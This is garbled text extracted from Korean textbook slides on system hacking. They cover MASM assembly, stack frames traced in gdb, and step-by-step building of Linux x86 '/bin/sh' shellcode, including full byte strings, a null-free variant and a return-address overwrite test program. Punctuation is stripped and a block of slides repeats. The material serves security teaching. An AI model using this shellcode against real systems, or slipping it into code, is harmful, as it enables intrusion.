실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 53: 80×86  시스템에 대한 이해

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

